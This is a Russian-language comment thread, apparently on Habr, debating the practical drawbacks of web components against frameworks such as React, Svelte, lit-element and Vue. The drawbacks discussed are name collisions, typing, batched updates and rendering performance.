Comments 334
Статья не об основах веб-компонентов, об этом уже написано достаточно, например вот этот серия статей.
Здесь я описываю свой опыт, и проблемы с которыми я столкнулся при реальном их использовании. Соотвественно статья предполагает, что с основами веб-компонентов вы уже знакомы.
Конечно, от этого можно защититься конвенцией именования с использованием префиксов, но такой подход сильно похож на проблемы с именами CSS-классов, избавление от которых нам обещали веб-компоненты.
Гораздо важнее, что проблема с коллизией имен больше не лежит на разработчике компонентов. А разработчик, монтирующий компоненты в свое приложение, сам волен назвать любой компонент — так, как ему удобно его называть. Это так же относится не только к стандарту веб-компонентов, но и к любому фреймворку оперирующему понятием "компоненты" в том же смысле. Как то: React, Vue, Angular, и т.п.
В обычных фреймворках компонент – это класс или функция в Javascript. Оно может быть завернуто в модуль и не должно быть абсолютно уникальным. Вы сможете импортировать две разные кнопки и назвать их по-своему:
import { Button as ButtonA } from 'lib-a';
import { Button as ButtonB } from 'lib-b';
Веб-компоненты регистрируются в общем для всех списке html-тэгов. Если одна библиотека уже заняла имя cool-button
, вы ничего уже с этим сделать не сможете.
вы ничего уже с этим сделать не сможете
Можно унаследовать от такого компонента с изменением имени.
Регистрация компонентов самому выручит только если они не имеют своих зависимостей. В реальности они у них есть, например paper-input зависит от компонента iron-input. Чтобы не случился конфликт на уровне iron-input, его тоже нужно уметь переопределять...
Вся эта ситуация уводит нас от главной цели веб-компонентов – сделать жизнь разработчиков проще. Как мы видим, сделать хороший переиспользуемый компонент не так уж просто.
В результате можно легко переопределить существующее имя и получить какой-нибудь непонятный баг.
Здесь помог бы typescript, который бы проверил, что вы используете только правильные свойства. Вот пример. Я пытаюсь определить свойство checked с неправильным типом, и typescript ругается, что такое свойство уже есть в базовом классе.
Я просто не понимаю, почему нельзя сделать так:
import { Button as ButtonA } from 'lib-a'
import { Button as ButtonB } from 'lib-b'
customElements.define('button-a', ButtonA)
customElements.define('button-b', ButtonB)
Это не троллинг, я просто пытаюсь понять, почему вас так беспокоит коллизия имен.
Возникают проблемы с транзитивными зависимостями. Уже ответил выше.
О, теперь понимаю. А как вы бы решили эту проблему?
Сходу я вижу три возможных варианта:
Введение своей области видимости компонентов
// допустим в конструкторе модуля this.customElements.define('button-a', ButtonA)
Вендор-префикс. Это очевидно и это отлично работает в мире PHP (правда не все авторы пакетов соблюдают это правило, но большинство).
Алиасы (это скорее развитие первого варианта)
customElements.define('element-foo', ElementFoo, { aliases: { 'button-bar' : 'button-baz' } })
Однако, все эти решения лежат в области ответственности разработчиков модулей. Я что-то так и не смог придумать ни одного варианта с исправлением браузерного api так чтобы стало хорошо.
Первые два варианта – это про решение проблемы путем конвенции именования. Для 10 компонентов это еще сработвает, а для 100, для 1000? Мы это уже проходили с CSS, видно, что на больших масштабах имена не спасают. Но в CSS хотя бы самое страшное что могло случиться – это сломанные стили, то в случае конфликта имен веб-компонентов у вас будет выброшена ошибка в JS и код просто не будет исполняться дальше
Алиасы (это скорее развитие первого варианта)
А вот это может сработать! Примерно так это решается во Vue: Local Component Registration. Но для этого нужно изменить сам веб-стандарт.
- Tree-shaking и Глобальные имена компонентов — не обязательно регистрировать отдельно и глобально, можно сделать также как сделано в styled components
import {ButtonElement} from "wclibs/button-element" const Button = wc.register(ButtonElement); ... render (<Button/>);
Тогда много проблем сразу отваливается.
- Проблемы с типизацией — Intrinsic описанный в статье решает проблему.
- Групповое обновление свойств — это не проблема веб компонентов, это стандартное поведение DOM, а если писать без прослойки с VDOM то и не проблема вовсе.
На самом деле тема очень полезная, у нас большая компания, пишем на разных шаблонизаторах и веб компоненты помогают реюзать компоненты между ними. Но без какой то прослойки типа lit-element крупные вещи действительно лучше не писать.
Tree-shaking и Глобальные имена компонентов
Проблема в том, что API выглядит не так, как вы описываете, а по-другому
customElements.define('button-element', ButtonElement);
где имя компонента обязательно и должно быть уникально в рамках текущего документа.
Кроме того, что делать с транзитивными зависимостями. Вашей кнопке нужен компонент my-icon
, кто его будет регистрировать, конечный пользователь или кнопка?
Проблемы с типизацией — Intrinsic описанный в статье решает проблему.
Там же в статье и описаны недостатки. Обновили компонент, поменяли свойства, но забыли обновить Intrinsic. Typescript молчит, а в рантайме все ломается.
это стандартное поведение DOM, а если писать без прослойки с VDOM то и не проблема вовсе.
Вот пример:
const input = document.querySelector('[name="test"]');
input.disabled = true;
input.value = 'bar';
В случае нативного тэга input браузер сам позаботится об оптимизации и перерендерит input только после обновления всех свойств. А как вы будете оптимизировать свой собственный компонент?
у нас большая компания, пишем на разных шаблонизаторах и веб компоненты помогают реюзать компоненты между ними
Тем интереснее узнать, как вы решаете указанные проблемы. Давайте обмениваться опытом :)
API выглядит не так, как вы описываете
Я описал абстрактный сервис который будет заниматься регистрацией веб компонентов и возвращать готовый React компонент для его использования =). А у себя решили просто корпоративным префиксом, что то типо <prefix-button/> и ближайшие пару лет проблем точно не будет.
Обновили компонент, поменяли свойства, но забыли обновить Intrinsic. Typescript молчит, а в рантайме все ломается.
Это на самом деле не проблема, есть разные способы решения, начиная от Partial и заканчивая скриптом генерацией интринсиков на основе кода. Я же просто тесты использую.
В случае нативного тэга input браузер сам позаботится об оптимизации и перерендерит input только после обновления всех свойств.
Нет, он пересчитывает поштучно, именно поэтому виртуальный дом бывает много выгоднее:
var elem = document.querySelector(".post__title_link");
elem.textContent += "1";
console.log(elem.getClientRects()[0].width); // 419.203125
elem.textContent += "2";
console.log(elem.getClientRects()[0].width); // 433.40625
А как вы будете оптимизировать свой собственный компонент?
Я не использую lit-element, у меня своя микро-надстройка. Просто на сеттере свойства я меняю только то что мне нужно, поэтому поведение полностью наследуется от нативного =)
ближайшие пару лет проблем точно не будет
ну что же, вам виднее
Просто на сеттере свойства я меняю только то что мне нужно
Подозреваю, что у вас получилось что-то вроде такого:
class MyButton extends HTMLButtonElement {
set loading(loading) {
this.classList.toggle('button-loading', loading)
}
}
Такой подход сработает на маленьких компонентах. А что, если компонент большой, к javascrtipt-логикой, какое-нибудь dropdown-menu, например, то как с ним быть?
Больших компонентов всего три, и да, это больно делать без шаблонизатора.
Поэтому посмотрим как будут развиваться события и когда будем писать более серьезные вещи выберем какой нибудь микро шаблонизатор.
Даже если взять самый умный шаблонизатор, проблема с API все равно останется. Допустим, есть календарь:
const calendar = document.querySelector('my-calendar');
calendar.selectedDate = new Date(2019, 2, 10);
calendar.minDate = new Date(2019, 0, 1);
calendar.maxDate = new Date(2019, 12, 1);
Каждое из этих изменений свойств вызовет ре-рендер, но реально нужен только последний.
Придется городить какую-то оптимизацию, например:
calendar.__renderBlocked = true;
// здесь задаем наши свойства, ре-рендера нет
calendar.__renderBlocked = false;
// здесь произойдет ре-рендер
Или можно сделать асихронное обновление, как в lit-element. Проблема в том, что нет стандартного решения, каждый автор компонента будет делать по-своему.
В вашей истории слишком много дополнительных элементов (Redux и его connect), тем более, что это известно, что в yeoman-стартеры любят напихать всякого лишнего для удобства DX в ущерб производительности. Предполагаю, что вы бы получили прирост скорости, даже если бы просто переписали все на ванильный React. Веб-компоненты тут не причем.
Я так понимаю, текущее значение счетчика вы через innerHTML рендерили? А как будете рендерить более сложный контент?
Даже если мы напишем идеальный компилятор, то что будет с элементом, который зависит сразу и от minDate
, и от maxDate
? Он будет обновлен два раза.
Не хватает возможности сказать компоненту "подожди рендериться, мы тебе еще не все данные задали".
Посмотрел я на Svelte. Там тоже есть нормальный способ обновления всех свойств разом: component.set(state). И в дочерние компоненты это нормально протягивается, тоже всей пачкой.
Это только в веб-компонентах удобного API нет и нужно что-то изобретать
Кстати, Svelte умеет в веб-компоненты одним булевым флагом и поддержка отличная:
custom-elements-everywhere.com/libraries/svelte/results/results.html
Так что мы просто пишем на нем, в если веб-компоненты таки выстрелят, изменим флажок в конфиге.
Все-таки основная цель – это писать быстрые и удобные интерфейсы, а не использовать какую-то конкретную технологию, о которой в блоге гугла или фейсбука написали.
Веб компоненты в свою очередь стандартизированы в виде ряда технологий решающих разные задачи и дающих почти полную замену среднему фронтенд-фреймворку в сумме, также они реализованны во всех современных движках и браузерах, за счет этого они и работают тоже быстрее, не требуя в полифилинга, т.к. загрузки и выполнения лишнего жс кода на старте. Разница когда вы отключили жс-бибилиотеки заметна на глаз даже на простейших примерах.
Ваше описание веб-компонентов слишком идеализированное. Именно для более адекватного представления их возможностей и написана эта статья
дающих почти полную замену среднему фронтенд-фреймворку в сумме
это не так. Здесь вокруг в комментариях это уже несколько раз обсудили, что так или иначе понадобится умное обновление DOM и батчинг рендеринга, которых из коробки нет
они и работают тоже быстрее
По моим измерениям – это не так. Не согласны – приводите свои замеры с цифрами.
загрузки и выполнения лишнего жс кода на старте
Lit-element (использует веб-компоненты) – 6 Кб, Preact (не использует) – 3 Кб. Получается, неиспользование веб-компонентов наоборот уменьшает код?
Разница когда вы отключили жс-бибилиотеки заметна на глаз даже на простейших примерах
Вот этих самых примеров мне и не хватает. Что вы имеете в виду?
для более адекватного представления
да нет тут более адекватного, да, на фоне фреймворков популярной тройки и даже фреймворков использующих веб-компоненты использование просто веб-компонентов может показаться близким к идеалу, конечно для этого на сегодняшний день местами надо приложить свои прямые руки. Например вебкомпоненты смотрятся гораздо хуже без современных нативных модулей, типобезопасности и других возможностей esnext и технологий
По моим измерениям – это не так. Не согласны – приводите свои замеры с цифрами.
тут достаточно просто понимать, что все ваши оптимизации и бетчинги выполняются в достаточно медленном рантайме джаваскрипта, и когда вы в нем делаете генерацию джаваскрипта, который всеравно будет засунут в реально дерево вы сами создаете себе проблему, которую потом не особо эффективно учитывая, что у вас еще и одно ядро процессора и поток решаете
Lit-element (использует веб-компоненты) – 6 Кб, Preact (не использует) – 3 Кб
это минифицированный код, который всеравно будет разбираться джаваскриптовым интерпретатором, в ваших кодах будут ссылки на методы «ядра» из этих библиотек, которые в интепретируемом языке будут делать бестолковые манпипуляции, если вы запускали хоть раз профайлер то видели, что он часто указывает на какую-то одну-две функции используемые повсеместно
Вот этих самых примеров мне и не хватает. Что вы имеете в виду?
реализации технологий веб-компонентов доступны в виде библиотек-заменителей для браузеров в которых они не реализованы, навроде интернет эксплорера 11 (получается то же что с фреймворками), если вы запустите код с билбиотеками, а потом их отключите в современном браузере полагаясь на нативную реализацию, разница в скорости работы может быть заметна без замеров.
Вы можете также нагуглить публичные бенчмарки, я не знаю как они там мерили, но там в числе лидеров веб-компонентный Svelte (https://medium.com/@ajmeyghani/javascript-frameworks-performance-comparison-c566d19ab65b), но тут над понмимать, что этот фреймворк наворачивает свой mustache подобный шаблонизатор над нейтив темплейтами или вовсе без них в рантайме, т.е. занимается тем же бестолковым преобразованием строк в объекты дом с полнотекстовым поиском плейсхолдеров для замены вместо оптимизированного дерева (dom)
Вы можете также нагуглить публичные бенчмарки, я не знаю как они там мерили, но там в числе лидеров веб-компонентный Svelte
Заметил, что вы крайне поверхностно относитесь к своим высказываниям и приводимым примерам.
Для начала, Svelte ни разу не «веб-компонентный». Возможность скомпилировать svelte-компонент в веб-компонент есть, но ей почти никто не пользуется, из-за проблем описанных в данной статье в частности. Есть компиляторы, которые заточены на веб-компоненты, например, StencilJS, но Svelte работает с js классами, а не веб-компонентами.
но тут над понмимать, что этот фреймворк наворачивает свой mustache подобный шаблонизатор над нейтив темплейтами или вовсе без них в рантайме, т.е. занимается тем же бестолковым преобразованием строк в объекты дом с полнотекстовым поиском плейсхолдеров для замены вместо оптимизированного дерева (dom)
Здесь даже незнаешь куда пробу ставить. В Svelte нет никакого mustache-like шаблонизатора над нейтив темплейтами. Более того, он вообще не занимается работой со строками в рантайме, а как раз использует прямые вызовы в DOM API для этого.
Прежде чем писать что-то с уверенным видом, лучше сперва слегка изучить вопрос. Имхо
Lit-element (использует веб-компоненты) – 6 Кб, Preact (не использует) – 3 Кб. Получается, неиспользование веб-компонентов наоборот уменьшает код?
SvelteJS — 0Кб ;)
Я с интересом читал ваши статьи про исчезающие фреймворки, поэтому про магию Svelte в курсе.
Тем не менее там не совсем 0кб, потому что какой-то рантайм все таки грузится. Это примерно как babel-runtime, подключается по мере использования, но измерить его все-таки можно.
Для вашей демки получилось 991 байт gzip. Понятное дело, что это хорошая цифра и к этому нужно стремиться, но это не 0.
- Собрал бандл с помощью rollup. Конфиг отсюда
- Выкинул из него все вхождения своего кода. Имена ключей не минифицируются, поэтому можно его вычислить
- Оставшийся бандл минифицируем обратно и смотрим:
cat bundle.js | npx terser | npx gzip-size-cli
Так что эти 0* килобайт, они как в той рекламе про жвачку с 0* калорий. Просто из-за методики измерения вышло так.
В целом, с вашим комментарием согласен. Отличие подхода «исчезающих фреймворков», конечно же не в том, что им каким-то магическим образом удалось убрать рантайм из рантайма. Суть в том, что этот рантайм решает лишь задачи вашего приложения, то есть фактически компилятор пишет за нас тот бойлерплейт код, который мы бы сами написали, если бы решали очень конкретную задачу, самым очевидным и простым способом. Без лишних абстракций и решений-комбайнов, подходящих для всех задач сразу. То есть на скриншоте в целом верно написано library: 0Kb, это конечно же не значит, что в рантайме не отрабатывает код.))))
При этом, частые проблемы связанные с множественными связями и «комбинаторным взрывом» решаются машиной с помощью статического анализа и кодогенерации. Чтобы добиться схожей стабильности работы кода, используя те же веб-компоненты и DOM API вручную, нам понадобиться много циклов разработка-багфиксинг-тесты, но машина решает многие вещи намного эффективнее человека.
Я бы сказал, что Svelte — это хороший пример применения к фронтенду того, что называют «Augmented intelligence» — плодотворная работа человека и машины над задачами, когда каждый из них решает ту часть задачи, которую в состоянии решить лучше.
это не верное пожелание, дело в том, что на сегодняшний день код на различных популярных фреймворках практически никак между собой не совместим и многие проекты переписываются ежегодно с нуля на очередной сомнительной распиаренной «технологии».
Вы видимо Svelte не посмотрели, тогда бы хоть значи о чем речь. ))) Это как раз фреймворк, который может быть внедрен в любой другой фреймворк. Вот можете даже пример посмотреть тут. Кроме того любой компонент Svelte можно изменением одного флага компилировать в веб-компонент. Поддержка стандарта 100%, выше уже давал ссылку.
Веб компоненты в свою очередь стандартизированы в виде ряда технологий решающих разные задачи и дающих почти полную замену среднему фронтенд-фреймворку в сумме
Основная фича любого современного фреймворка — это ни разу не компоненты и их композиция в виде html-like тегов. Прежде всего, что дают нам фреймворки писать в state-based код, вместо event-based на котором основан весь DOM API. Кроме того, возможность простой и удобной синхронизации стейта и DOM с максимально эффективными манипуляциями в последний. Все это ровно то, чего нет в стандарте веб-компонентов, а то, что там есть не так уж и важно. Например, та же инкапсуляция стилей вполне адекватно решается в CSS Modules или том же Svelte.
Разница когда вы отключили жс-бибилиотеки заметна на глаз даже на простейших примерах.
То то Youtube в Firefox до сих пор тормозит безбожно.
То то Youtube в Firefox до сих пор тормозит безбожно.
полумер полагался на html imports, принятие которых в стандарт заблокировал как раз таки фаерфокс, т.е. там они скорее всего работают через полифил и жс рантайм, а в хроме нативно, вот вам и разница заметная на глаз. Как я понимаю, этот ваш Svelte использует какой-то такой же подход, который был по причинам нарушения принципа разделения ответственностей индустрией отвергнут. Лично мне, точно также кажется обилие странностей фреймворка неоправданным, что-бы завязываться на него. Классы-инстансы для хранения и линковки состояния я могу легко подключить в компоненты с инжектором если что-бы красиво или нехитрым собственным мета-кодом.
полумер полагался на html imports, принятие которых в стандарт заблокировал как раз таки фаерфокс, т.е. там они скорее всего работают через полифил и жс рантайм, а в хроме нативно, вот вам и разница заметная на глаз.
Видите как получается, на стандарт даже Гугл положиться не может, куда уж нам смертным.
Как я понимаю, этот ваш Svelte использует какой-то такой же подход, который был по причинам нарушения принципа разделения ответственностей индустрией отвергнут.
Боюсь вы не поняли) html imports не используется в Svelte никак, даже близко. Да и то, что они были деприкейтед не имеет отношения к принципу ответственности, скорее к принципу DRY, так как es6 модули и импорты уже завезли.
Классы-инстансы для хранения и линковки состояния я могу легко подключить в компоненты с инжектором если что-бы красиво или нехитрым собственным мета-кодом.
Прикол в том, что на выходе Svelte-компонент это именно класс, причем абсолютно ванильный )) Только писать его в разы удобнее, декларативнее и без убогого и многословного синтаксиса es6 классов.
Видите как получается, на стандарт даже Гугл положиться не может, куда уж нам смертным.
у смертных не выполняющих стандарты шансов еще меньше, стандарт был не удачный и он не был принят, и разработка полимера была отменена, в отличии от большого количества неудачных решений популярных и не очень фреймворков.
Боюсь вы не поняли) html imports
я указал на подобие т.е. механизм импорта вермишели из js, стилей и разметки в html который я увидел в коде для вашего ферймворка, такой же применяется в .vue
в отличии от большого количества неудачных решений популярных и не очень фреймворков.
Например? Фреймворки просто работают и те механизмы, которые они используют зависят только от мейнтейнеров и комьюнити. В это же время, стандарты пишутся комитетатми и рабочими группами от корпораций, а это автоматически добавляет немного корпоративной политики в них. Мое мнение — решения от комьюнити, как правило, более продуманные, удобные и органичные для большнинства разработчиков, чем то, что рождают стандарты. Если бы дело обстояло иначе, небыло бы столько «свистелок» и «сахара» поверх них.
я указал на подобие т.е. механизм импорта вермишели из js, стилей и разметки в html который я увидел в коде для вашего ферймворка, такой же применяется в .vue
То есть по вашему раздел стандрата HTML Import как-то описывал то, как должны писаться Веб-компоненты? Насколько я знаю, это был лишь механизм их подгрузки из html. Не вижу никакой связи с форматом SFC, который используется в Svelte и Vue.
Например? Фреймворки просто работают и те механизмы, которые они используют зависят только от мейнтейнеров и комьюнити.
популярные фреймворки курируются корпорациями навроде фейсбука или гугла и сейчас на фронте все чаще популяризируются неудачные решения и идеи противоречащие принципам программной инженерии, такие как смешение бизнес-логики с версткой, отрицание ооп, игнорирование стандартов. Все современные популярные фреймворки развиваются поперек стандартизированных технологий, в том числе тех, что входят в группу веб-компонентов. Например ангуляр многим хорош, но шаблоны у него свои, а не нативные, и валидацию форм они сделали свою неудобную, когда есть отличное стандартизированное апи хтмл5. У остальных фреймворков проблем еще больше.
То есть по вашему раздел стандрата HTML Import как-то описывал то, как должны писаться Веб-компоненты?
была проектная группа которая разрабатывала стандарты w3c, и html imports тоже предполагался, поэтому использовался в полимере, но он встретил сопротивление и был совсем отвергнут разработчиками фаерфокс например, а затем и вовсе не был утвержден как стандарт
популярные фреймворки курируются корпорациями навроде фейсбука или гугла
Вот Polymer курируется Гуглом, значит он популярный? А еще куча хлама, которая курируется им же, тоже сразу популярным становится? Интересная градация, не знал что популярность так оценивается.
Ох, вы прям на холиварную тему вступаете…
популяризируются неудачные решения и идеи противоречащие принципам программной инженерии
А разве не инженеры должны решать, что противоречит, а что нет?
такие как смешение бизнес-логики с версткой,
Отличная картинка в тему:
отрицание ооп,
А кто вам сказал, что ООП это хорошо? Сколько уже было трудов на эту тему. Это далеко не silver-bullet.
игнорирование стандартов. Все современные популярные фреймворки развиваются поперек стандартизированных технологий, в том числе тех, что входят в группу веб-компонентов.
Не задумывались почему так? Быть может, что-то не то со стандартами, а не со всеми остальными? А то это получается «я один д’Артаньян».
Например ангуляр многим хорош, но шаблоны у него свои, а не нативные, и валидацию форм они сделали свою неудобную, когда есть отличное стандартизированное апи хтмл5.
Отвратная валидации в html5, уж простите.
была проектная группа которая разрабатывала стандарты w3c, и html imports тоже предполагался, поэтому использовался в полимере
Вы капитанить не перестанете, да? Я вас спрашиваю как HTML Importsсвязаны с SFC? HTML Imports вообще не описывали как именно должны описываться Веб-компоненты, которые они грузят.
Вот Polymer курируется Гуглом, значит он популярный?
ангуляр популярный, а react курируется фейсбуком, разе что vue под китайцами и пхпшниками и это тоже сказывается
А разве не инженеры должны решать, что противоречит, а что нет?
конечно, есть шаблоны проектирования, но нынешние фронтендщики любят делать наоборот
А кто вам сказал, что ООП это хорошо? Сколько уже было трудов на эту тему. Это далеко не silver-bullet.
тем не менее возврат к процедурному коду, к которому прибегают в качестве альтернативы тоже не выход, очень быстро все превращается в помойку, которую не хочется даже читать, а не то что развивать или поддерживать
Отвратная валидации в html5
вполне достаточная что-бы решать задачи, а в ангуляре нельзя явно вызвать метод валидации, только сбиндить, в результате чего сложный валидатор сделать больно
Я вас спрашиваю как HTML Importsсвязаны с SFC?
они очень похожи, в основе одна и та же идея замешать все в одну кучу поперек инженерного принципа разделения ответственностей, поэтому хтмл импорты и забраковали
ангуляр популярный, а react курируется фейсбуком, разе что vue под китайцами и пхпшниками и это тоже сказывается
Я вас про Polymer спрашивал, потому что я до сих пор пытаюсь понять ваши критерии «популярности». Выше вы написали, что «популярный — значит ходит под корпорацией». Polymer значит популярный, а Vue например пишет в основном Эван до сих пор, то есть он по-вашему менее популярный.
конечно, есть шаблоны проектирования, но нынешние фронтендщики любят делать наоборот
Я, например, инженер с профильным высшим и 12+ стажем, первые языки C/C++. Первые проекты тяжелые телекоммуникационные системы. И что? Современный веб фронтенд — это то, чего не существовало, когда разрабатывались классические паттерны и многие из них вообще не ложатся на современый веб. Считаю что поиск аутентичных решений — это верное направление, тем более что многие их них уже показали свою эффективность. В отличии от классического ООП для веба.
тем не менее возврат к процедурному коду, к которому прибегают в качестве альтернативы тоже не выход, очень быстро все превращается в помойку, которую не хочется даже читать, а не то что развивать или поддерживать
Я не фанат чистой функциональщины, но вы хоть знаете чем процедурный подход отличается от функционального?
вполне достаточная что-бы решать задачи, а в ангуляре нельзя явно вызвать метод валидации, только сбиндить, в результате чего сложный валидатор сделать больно
Эта одна из причин, почему Angular по-сути единственный современный all-in-one фреймворк. Остальные давно поняли, что лучше использовать специализированные, независимые и узконаправленные решения для каждой задачи.
они очень похожи, в основе одна и та же идея замешать все в одну кучу поперек инженерного принципа разделения ответственностей, поэтому хтмл импорты и забраковали
Хватит нести отсебячину, спеку почитайте пожалуйста, вот вам ссылка даже: HTML Imports spec
Еще раз, спека по HTML Imports никак не описывает каким именно образом должны писаться веб-компоненты, а отменили ее не из-за того, что вы пишете, а из-за ES6 модулей. Не вводите людей в заблуждение, пожалуйста.
поиск аутентичных решений — это верное направление, тем более что многие их них уже показали свою эффективность.
как это показали? я видел только, что никто за фронтендщиками не хочет проекты продолжать а они все время переписываются на очередной казуальной погремушке
Эта одна из причин, почему Angular по-сути единственный современный all-in-one фреймворк.
каждый фреймворк из популярной тройки — велосипедный all-in-one, никто не использует редакс с вуе и т.п.
Еще раз, спека по HTML Imports никак не описывает каким именно образом должны писаться веб-компоненты, а отменили ее не из-за того, что вы пишете, а из-за ES6 модулей.
использование импортов предполагало размещение всего в одном файле как .vue или .svelte и полключение одной строкой, es6 модуль предполагает что вы с этим «бандлом» что-то сделаете все-таки явно, отрендерите или задефайните
я видел только, что никто за фронтендщиками не хочет проекты продолжать а они все время переписываются на очередной казуальной погремушке
Может им просто хочется новую экспертизу заиметь? Учитывая, что почти все фреймврки нынче компонентные и юзают ± одни и те же подходы, мне кажется не логичным вывод, что подходы плохие, раз потом все это переписывается на другом фреймворке, но тех же подходах.
никто не использует редакс с вуе
Вы где были последние пару лет то? Те кому нравится Redux (я к таким не отношусь) пишут на нем, даже со Svelte, например, svelte-redux. И это не смотря на то, что в Svelte свой встроенный глобальный стор есть.
использование импортов предполагало размещение всего в одном файле как .vue или .svelte и полключение одной строкой, es6 модуль предполагает что вы с этим «бандлом» что-то сделаете все-таки явно, отрендерите или задефайните
А веб-компоненты типа не предполагают? Сколько не видел, что пишут люди, всегда разметка и стили внутри класса-компонента. Вот хоть статьи i360u почитайте, он ведь спец.
Вы где были последние пару лет то? Те кому нравится Redux (я к таким не отношусь) пишут на нем, даже со Svelte
есть не значит что им пользуются, у них своих 5 погремушек «аналогов» с другими анти-патернами, например они там все файлы называют одинаково
А веб-компоненты типа не предполагают? Сколько не видел, что пишут люди, всегда разметка и стили внутри класса-компонента.
веб компоненты это еще и нейтив темплейы, которые позволяют не инлайнить вертску в джаваскрипте, то что некоторые все-таки инлайнят это влияние реакта и антипатерн конечно
есть не значит что им пользуются, у них своих 5 погремушек «аналогов» с другими анти-патернами, например они там все файлы называют одинаково
Вы какой-то тоталитарный. Небось на выборы за кого надо ходите. Лично я считаю, что если у разработчиков есть выбор — это хорошо. Лично знаю тех, кто юзает Redux со Svelte. Я их не понимаю, но выбор уважаю.
веб компоненты это еще и нейтив темплейы, которые позволяют не инлайнить вертску в джаваскрипте, то что некоторые все-таки инлайнят это влияние реакта и антипатерн конечно
А работать с найтив шаблонами нельзя из класса компонента что ли? Вообще то именно так часто и делают, потому что юзают их не помещая на страницу сразу как в выгребную яму, а через DOM API. Мне почему-то кажется, что лет 6 назад вы шаблоны писали примерно так:
<script type="text/html" id="template">
<!-- html here -->
</script>
Прям чувствуется влияние jquery.
Лично я считаю, что если у разработчиков есть выбор — это хорошо.
выбор без полноты информации это чаще всего ошибка и не выбор вовсе, популярные современные фреймворки изобилуют ошибками проектирования и вцелом часто имеют не очень хороший код
Мне почему-то кажется, что лет 6 назад вы шаблоны писали примерно так:
я писал как в svelte с {{ плейсхолдерами }} и {# циклами #}, сейчас я думаю что это все лишнее когда есть native templates и компонеты кастомных элементов
что на сегодняшний день код на различных популярных фреймворках практически никак между собой не совместим
Вы видимо Svelte не посмотрели, тогда бы хоть значи о чем речь. )))
svelte не является популярным фреймворком, я имел ввиду react, vue, angular, если вы записанное простыми предложениями понять не можете я вам помочь ничем не смогу
на различных популярных фреймворках
Тут нигде не указано что вы говорите о фреймворках Большой Тройки. Если бы вы хотели конкретизировать, то наверное написали бы этот довольно распространенный термин. Кроме того, «популярность» — это оценочная величина. Вот, к примеру, Ember по-вашему популярный фреймворк? А Preact? По мне так, учитывая какое кол-во всевозможных решений пылится на полках Gihub, если о фреймворке говорят, у него есть активное комьюнити и он развивается, то его вполне можно отнести к «различным популярным фрейморкам».
Остальное все оправдательная демагогия, призванная скрыть вашу неосведомленность о подобных решениях.
Тут нигде не указано что вы говорите о фреймворках Большой Тройки.
ну svelte к ним точно сейчас не относится, ember наверное уже не относится, про preact я слышал только от поклонников реакта, так что тоже наврядли, действительно можно говорить только о трех фреймворках на сегодня
ну svelte к ним точно сейчас не относится
К кому ним? Как вы оцениваете популярность?
ember наверное уже не относится,
Вот видите как, а в штатах очень популярный фреймворк, особенно в средних и крупных проектах. До сих пор и очень неплохо развивается.
действительно можно говорить только о трех фреймворках на сегодня
Это лишь ваше субъектиное суждение. Я не обязан читать ваши мысли.
Даже на Win32 и VCL, если надо менять сложный компонент или много рисовать — отключил отображение, поменял все свойтсва/посчитал что надо — включил отображение и перерисовал.
Почему вам кажется это сложным — не понятно. Ни один фреймворк не сможет определить вот сейчас вы одно свойство меняете, вот там — будет 20.
Под VDOM имеется в виду то, что обновление компонента происходит не грубым element.innerHTML, а каким-то более умным способом. Каким именно – неважно.
У вас есть какое-то лучшее слово для всего этого семейства технологий «умных обновляетелей DOM»?
Но моё мнение остается тем же: когда lit-html заявляет: «мы не VDOM!» – это просто такой маркетинг, чтобы привлечь больше пользователей, которые по каким-то причинам не хотят React. Да, есть некоторые отличия под капотом, но это детали реализации, для пользователей библиотеки разницы нет.
для пользователей библиотеки разницы нет
все vdom реализации как минимум предоставляют два примитива: динамический список чилдренов и динамические атрибуты. Первое в lit-html есть, второе отсутствует https://github.com/Polymer/lit-html/pull/213 .
1. krausest.github.io/js-framework-benchmark/current.html
2. github.com/krausest/js-framework-benchmark/blob/e469a62889894cb4d4e2cac5923f14d91d1294f8/frameworks/keyed/lit-html/src/index.js#L126
автор бы сравнил скорость рендера с react/vue-компонентами, справедливости ради
Вот две демо-страницы. Рендерится выпадающий список с 2000 элементов.
В случае lit-element в последнем Хроме я наблюдаю явную просадку FPS при открытии меню. В Preact-версии такого нет. Исходный код демок можно посмотреть вот здесь.
вы вполне можете писать свой код на TS и создавать тайпинги для своих тегов
Как это сделать? Самое лучшее, что я нашел – это поддержка типов в Stencil, но она далеко не дотягивает то того, что я получаю с React.
Про VDOM тоже ерунда написана, в подходе с веб-компонентами вам вообще не обязательно иметь какие-либо промежуточные сущности между DOM и данными
VDOM иметь не обязательно, но для больших компонентов сильно желательно. Если компонент содержит внутри больше пары html-тэгов, то императивно обновлять их будет неудобно. Подробнее уже раскрыто в этой ветке комментариев.
Сфера применения указана также весьма странно, видно что автор копнул тему но явно недостаточно глубоко
Что не так со сферой применения? Есть еще какие-то неперечисленные варианты?
В случае lit-element в последнем Хроме я наблюдаю явную просадку FPS при открытии меню. В Preact-версии такого нет. Исходный код демок можно посмотреть вот здесь.
lit-element это не совсем веб-компоненты, это штука больше похожая на react и видимо от тех же проблем страдающая, а метод рендеринга собственно веб-компонентов это Native Templates, когда вы клонируете экземпляр шаблона и апендите, это работает намного быстрее любого шаблонизатора, потому что на момент работы жс рантайма шаблон уже разобран браузером и не нуждается в значительных рендеринг операциях
Попробовал добавить использование template-элемента, разницы никакой: web-components-vbrhqgtead.now.sh Видимо, на таких маленьких размерах html это особой роли не играет.
Создание шаблона происходит за пределами измеряемого отрезка, так что разницы никакой.
затем вы там основную работу делаете строками
А как ее делать иначе, если контент для разных элементов отличается?
Во вторых: сделайте, наконец, корректный тест. Отобразите на странице 1000 компонентов, обязательно с одинаковой структурой, созданных с помощью LitElement, React и на чистых компонентах. Вы сами все увидите.
Как это сделать? Самое лучшее, что я нашел – это поддержка типов в Stencil, но она далеко не дотягивает то того, что я получаю с React.
Если компонент добавляется в разметку через парсинг html, то вот: github.com/Microsoft/vscode/issues/62976
Если через импорт и ключевое слово «new», то также как и везде, когда вы используете кастомные типы.
VDOM иметь не обязательно, но для больших компонентов сильно желательно
Ну если VDOM-ом называть ссылки на инсершн-поинты в памяти — то да, конечно. Но не более того, для этого вовсе не обязательно тащить фреймворк.
Что не так со сферой применения? Есть еще какие-то неперечисленные варианты?
Ага, есть. Мы уже, насколько я помню, об этом говорили: habr.com/en/post/422499
Можете продемонстрировать это на каком-нибудь примере?
Тем не менее, вы сами можете все легко проверить: lit-element.polymer-project.org/guide/start
К сожалению полимеровцы так же любят рассказывать о высокой производительности, но при этом никогда не показывают реальных цифр :) С нетерпением жду вашей статьи с реальными цифрами.
А чо спорить то, делаете громкие заявления — как минимум показывайте синтетические тесты с цифрами.
